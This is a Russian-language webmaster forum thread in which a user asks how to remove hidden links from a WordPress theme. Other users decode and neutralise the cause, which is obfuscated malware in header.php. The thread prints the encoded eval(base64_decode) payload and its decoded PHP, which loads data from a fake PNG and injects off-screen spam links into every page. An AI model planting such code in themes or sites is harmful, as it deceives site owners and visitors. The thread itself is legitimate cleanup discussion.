Помощник
|
Как удалить ссылку с темы |
Vistaa
|
Сообщение
#1
|
||
|
|
||
|
|||
WebAction |
24.7.2011, 22:26;
Ответить: WebAction
Сообщение
#2
|
|
Возможно используется в каком-то из модулей.
-------------------- |
|
|
Vistaa
|
Сообщение
#3
|
|
Нашел закодированный текст в header.php Ссылки на сайте есть два левых, так их не замечаю , только когда сижу с телефона то видно их. Пробовал расшифровать код, но ссылок в расшифрованом виде нет. Каким способом удалить его?
код выглядит так: <?php eval(base64_decode('JGZ0PWRpcm5hbWUoX19maWxlX18pLicvaW1hZ2VzL3dwX21lbnVfdG9wLnBuZyc7ICRiZj0kd3Bk
Yi0+Z2V0X3JvdygiU0VMRUNUICogRlJPTSAkd3BkYi0+b3B0aW9ucyBXSEVSRSBgb3B0aW9uX25hbWVg P Sd3cF90aGVtZV9tZW51X2ZpcnN0JyBMSU1JVCAxIik7IGlmIChmaWxlX2V4aXN0cygkZnQpIGFuZCAhJ G JmKXskZnAgPSBmb3BlbigkZnQsInIiKTsgJHNzID0gZnJlYWQoJGZwLGZpbGVzaXplKCRmdCkpOyBmY2 x vc2UoJGZwKTsgZXZhbCgnJG1zcz0nLmd6dW5jb21wcmVzcyhzdHJpcHNsYXNoZXMoJHNzKSkuJzsnKTs g JGk9JG1zc1swXTsgJGkxPSRtc3NbMV07ICRpMj0kbXNzWzJdOyB1bnNldCAoJG1zc1swXSwkbXNzWzFd L CRtc3NbMl0pOyBzcmFuZCgoZmxvYXQpbWljcm90aW1lKCkqMTAwMDAwMCk7IHNodWZmbGUoJG1zcyk7I C Rjc3NbMF0gPSAkaTEuZ2V0X2Jsb2dpbmZvKCduYW1lJykuJGkyLiRtc3NbMF0uJGkuJG1zc1sxXS4nLi c 7ICRjc3NbMV0gPSAkaTEuZ2V0X2Jsb2dpbmZvKCduYW1lJykuJGkyLiRtc3NbMl0uJGkuJG1zc1szXS4 n Lic7ICR3cGRiLT5xdWVyeSgiSU5TRVJUIElOVE8gJHdwZGItPm9wdGlvbnMgKG9wdGlvbl9uYW1lLG9w d Glvbl92YWx1ZSxhdXRvbG9hZCkgVkFMVUVTICgnd3BfdGhlbWVfbWVudV9maXJzdCcsJyIuYmFzZTY0X 2 VuY29kZSgkY3NzWzBdKS4iJywnbm8nKSIpOyAkd3BkYi0+cXVlcnkoIklOU0VSVCBJTlRPICR3cGRiLT 5 vcHRpb25zIChvcHRpb25fbmFtZSxvcHRpb25fdmFsdWUsYXV0b2xvYWQpIFZBTFVFUyAoJ3dwX3RoZW1 l X21lbnVfc2Vjb25kJywnIi5iYXNlNjRfZW5jb2RlKCRjc3NbMV0pLiInLCdubycpIik7fSBmdW5jdGlv b iBmbigpe2dsb2JhbCAkd3BkYjsgJGJmPSR3cGRiLT5nZXRfcm93KCJTRUxFQ1QgKiBGUk9NICR3cGRiL T 5vcHRpb25zIFdIRVJFIGBvcHRpb25fbmFtZWA9J3dwX3RoZW1lX21lbnVfZmlyc3QnIExJTUlUIDEiKT s gJGJzPSR3cGRiLT5nZXRfcm93KCJTRUxFQ1QgKiBGUk9NICR3cGRiLT5vcHRpb25zIFdIRVJFIGBvcHR p b25fbmFtZWA9J3dwX3RoZW1lX21lbnVfc2Vjb25kJyBMSU1JVCAxIik7IGlmKChpc19ob21lKCkpJiYh K GlzX3BhZ2VkKCkpKSAkbm49YmFzZTY0X2RlY29kZSgkYmYtPm9wdGlvbl92YWx1ZSk7IGVsc2UgJG5uP W Jhc2U2NF9kZWNvZGUoJGJzLT5vcHRpb25fdmFsdWUpOyByZXR1cm4gJG5uO30gZnVuY3Rpb24gY2IoJG J mKXskZG8gPSAiPC9ib2R5PiI7ICRuYSA9ICIJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk J CQkJCQk8ZGl2IHN0eWxlPVwicG9zaXRpb246YWJzb2x1dGU7bGVmdDotMTI0NXB4O3dpZHRoOi0yMzU2 c Hg7XCI+Ii5mbigpLiI8L2Rpdj5cbjwvYm9keT4iOyByZXR1cm4gZXJlZ2lfcmVwbGFjZSgkZG8sICRuY S wgJGJmKTt9IGlmICgkYmYpIG9iX3N0YXJ0KCJjYiIpOw=='));?> -------------------- Обзор деинсталляторов здесь Скачать самую главную библиотеку для Виндовс |
|
|
Basketz |
29.7.2011, 19:07;
Ответить: Basketz
Сообщение
#4
|
|
Закодированно в base64
Вот код $ft=dirname(__file__).'/images/wp_menu_top.png'; $bf=$wpdb->get_row("SELECT * FROM $wpdb->options WHERE `option_name`='wp_theme_menu_first' LIMIT 1"); if (file_exists($ft) and !$bf){$fp = fopen($ft,"r"); $ss = fread($fp,filesize($ft)); fclose($fp); eval('$mss='.gzuncompress(stripslashes($ss)).';'); $i=$mss[0]; $i1=$mss[1]; $i2=$mss[2]; unset ($mss[0],$mss[1],$mss[2]); srand((float)microtime()*1000000); shuffle($mss); $css[0] = $i1.get_bloginfo('name').$i2.$mss[0].$i.$mss[1].'.'; $css[1] = $i1.get_bloginfo('name').$i2.$mss[2].$i.$mss[3].'.'; $wpdb->query("INSERT INTO $wpdb->options (option_name,option_value,autoload) VALUES ('wp_theme_menu_first','".base64_encode($css[0])."','no')"); $wpdb->query("INSERT INTO $wpdb->options (option_name,option_value,autoload) VALUES ('wp_theme_menu_second','".base64_encode($css[1])."','no')");} function fn(){global $wpdb; $bf=$wpdb->get_row("SELECT * FROM $wpdb->options WHERE `option_name`='wp_theme_menu_first' LIMIT 1"); $bs=$wpdb->get_row("SELECT * FROM $wpdb->options WHERE `option_name`='wp_theme_menu_second' LIMIT 1"); if((is_home())&&!(is_paged())) $nn=base64_decode($bf->option_value); else $nn=base64_decode($bs->option_value); return $nn;} function cb($bf){$do = "</body>"; $na = " <div style=\"position:absolute;left:-1245px;width:-2356px;\">".fn()."</div>\n</body>"; return eregi_replace($do, $na, $bf);} if ($bf) ob_start("cb");
-------------------- |
|
|
Vistaa
|
Сообщение
#5
|
|
Закодированно в base64 Вот код $ft=dirname(__file__).'/images/wp_menu_top.png'; $bf=$wpdb->get_row("SELECT * FROM $wpdb->options WHERE `option_name`='wp_theme_menu_first' LIMIT 1"); if (file_exists($ft) and !$bf){$fp = fopen($ft,"r"); $ss = fread($fp,filesize($ft)); fclose($fp); eval('$mss='.gzuncompress(stripslashes($ss)).';'); $i=$mss[0]; $i1=$mss[1]; $i2=$mss[2]; unset ($mss[0],$mss[1],$mss[2]); srand((float)microtime()*1000000); shuffle($mss); $css[0] = $i1.get_bloginfo('name').$i2.$mss[0].$i.$mss[1].'.'; $css[1] = $i1.get_bloginfo('name').$i2.$mss[2].$i.$mss[3].'.'; $wpdb->query("INSERT INTO $wpdb->options (option_name,option_value,autoload) VALUES ('wp_theme_menu_first','".base64_encode($css[0])."','no')"); $wpdb->query("INSERT INTO $wpdb->options (option_name,option_value,autoload) VALUES ('wp_theme_menu_second','".base64_encode($css[1])."','no')");} function fn(){global $wpdb; $bf=$wpdb->get_row("SELECT * FROM $wpdb->options WHERE `option_name`='wp_theme_menu_first' LIMIT 1"); $bs=$wpdb->get_row("SELECT * FROM $wpdb->options WHERE `option_name`='wp_theme_menu_second' LIMIT 1"); if((is_home())&&!(is_paged())) $nn=base64_decode($bf->option_value); else $nn=base64_decode($bs->option_value); return $nn;} function cb($bf){$do = "</body>"; $na = " <div style=\"position:absolute;left:-1245px;width:-2356px;\">".fn()."</div>\n</body>"; return eregi_replace($do, $na, $bf);} if ($bf) ob_start("cb"); Мне теперь этот код заменить? А ссылки как удалить, тут их я не вижу что то. -------------------- Обзор деинсталляторов здесь Скачать самую главную библиотеку для Виндовс |
|
|
Basketz |
29.7.2011, 19:14;
Ответить: Basketz
Сообщение
#6
|
|
Сайт дадите глянуть, постараюсь помочь.
-------------------- |
|
|
galpern |
15.10.2011, 22:44;
Ответить: galpern
Сообщение
#7
|
|
|
Достаточно закомментировать строки подобным образом:
<?php/* eval(base64_decode('JGZ0PWRpcm5hbWUoX19maWxlX18pLicvaW1hZ2VzL3dwX21lbnVfdG9wLnBuZyc7ICRiZj0kd3Bk Yi0+Z2V0X3JvdygiU0VMRUNUICogRlJPTSAkd3BkYi0+b3B0aW9ucyBXSEVSRSBgb3B0aW9uX25hbWVg P Sd3cF90aGVtZV9tZW51X2ZpcnN0JyBMSU1JVCAxIik7IGlmIChmaWxlX2V4aXN0cygkZnQpIGFuZCAhJ G JmKXskZnAgPSBmb3BlbigkZnQsInIiKTsgJHNzID0gZnJlYWQoJGZwLGZpbGVzaXplKCRmdCkpOyBmY2 x vc2UoJGZwKTsgZXZhbCgnJG1zcz0nLmd6dW5jb21wcmVzcyhzdHJpcHNsYXNoZXMoJHNzKSkuJzsnKTs g JGk9JG1zc1swXTsgJGkxPSRtc3NbMV07ICRpMj0kbXNzWzJdOyB1bnNldCAoJG1zc1swXSwkbXNzWzFd L CRtc3NbMl0pOyBzcmFuZCgoZmxvYXQpbWljcm90aW1lKCkqMTAwMDAwMCk7IHNodWZmbGUoJG1zcyk7I C Rjc3NbMF0gPSAkaTEuZ2V0X2Jsb2dpbmZvKCduYW1lJykuJGkyLiRtc3NbMF0uJGkuJG1zc1sxXS4nLi c 7ICRjc3NbMV0gPSAkaTEuZ2V0X2Jsb2dpbmZvKCduYW1lJykuJGkyLiRtc3NbMl0uJGkuJG1zc1szXS4 n Lic7ICR3cGRiLT5xdWVyeSgiSU5TRVJUIElOVE8gJHdwZGItPm9wdGlvbnMgKG9wdGlvbl9uYW1lLG9w d Glvbl92YWx1ZSxhdXRvbG9hZCkgVkFMVUVTICgnd3BfdGhlbWVfbWVudV9maXJzdCcsJyIuYmFzZTY0X 2 VuY29kZSgkY3NzWzBdKS4iJywnbm8nKSIpOyAkd3BkYi0+cXVlcnkoIklOU0VSVCBJTlRPICR3cGRiLT 5 vcHRpb25zIChvcHRpb25fbmFtZSxvcHRpb25fdmFsdWUsYXV0b2xvYWQpIFZBTFVFUyAoJ3dwX3RoZW1 l X21lbnVfc2Vjb25kJywnIi5iYXNlNjRfZW5jb2RlKCRjc3NbMV0pLiInLCdubycpIik7fSBmdW5jdGlv b iBmbigpe2dsb2JhbCAkd3BkYjsgJGJmPSR3cGRiLT5nZXRfcm93KCJTRUxFQ1QgKiBGUk9NICR3cGRiL T 5vcHRpb25zIFdIRVJFIGBvcHRpb25fbmFtZWA9J3dwX3RoZW1lX21lbnVfZmlyc3QnIExJTUlUIDEiKT s gJGJzPSR3cGRiLT5nZXRfcm93KCJTRUxFQ1QgKiBGUk9NICR3cGRiLT5vcHRpb25zIFdIRVJFIGBvcHR p b25fbmFtZWA9J3dwX3RoZW1lX21lbnVfc2Vjb25kJyBMSU1JVCAxIik7IGlmKChpc19ob21lKCkpJiYh K GlzX3BhZ2VkKCkpKSAkbm49YmFzZTY0X2RlY29kZSgkYmYtPm9wdGlvbl92YWx1ZSk7IGVsc2UgJG5uP W Jhc2U2NF9kZWNvZGUoJGJzLT5vcHRpb25fdmFsdWUpOyByZXR1cm4gJG5uO30gZnVuY3Rpb24gY2IoJG J mKXskZG8gPSAiPC9ib2R5PiI7ICRuYSA9ICIJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk J CQkJCQk8ZGl2IHN0eWxlPVwicG9zaXRpb246YWJzb2x1dGU7bGVmdDotMTI0NXB4O3dpZHRoOi0yMzU2 c Hg7XCI+Ii5mbigpLiI8L2Rpdj5cbjwvYm9keT4iOyByZXR1cm4gZXJlZ2lfcmVwbGFjZSgkZG8sICRuY S wgJGJmKTt9IGlmICgkYmYpIG9iX3N0YXJ0KCJjYiIpOw=='));*/?> Вопрос на заметку: вы темы случайно не с сайта inwp(точка)ru!? Ибо только что прошлась по топ 10 запросов, заражены сайты, темы которых скачаны именно с него. Пруф: http://www.google.ru/webhp?hl=ru#sclient=p...366&bih=624
|
|
|
||
|
Похожие темы
Тема | Ответов | Автор | Просмотров | Последний ответ | |
---|---|---|---|---|---|
Арбитражники, как ведете учет расходов и доходов? | 12 | Boymaster | 1924 | Вчера, 21:03 автор: MisterBit |
|
Как вывести деньги в Украине с заблокированного Юмани ? | 29 | freeax | 4817 | 17.4.2024, 1:19 автор: sergio11 |
|
Как вы отдыхаете от работы за компом | 148 | adw-kupon.ru | 19713 | 8.4.2024, 10:37 автор: Skyworker |
|
Как вы бросили работу и перешли на заработок с сайтов? | 18 | uahomka | 3109 | 5.4.2024, 5:53 автор: Skyworker |
|
Как бездомные хранят деньги? | 81 | metvekot | 13660 | 31.3.2024, 12:44 автор: Boymaster |
Текстовая версия | Сейчас: 20.4.2024, 7:21 |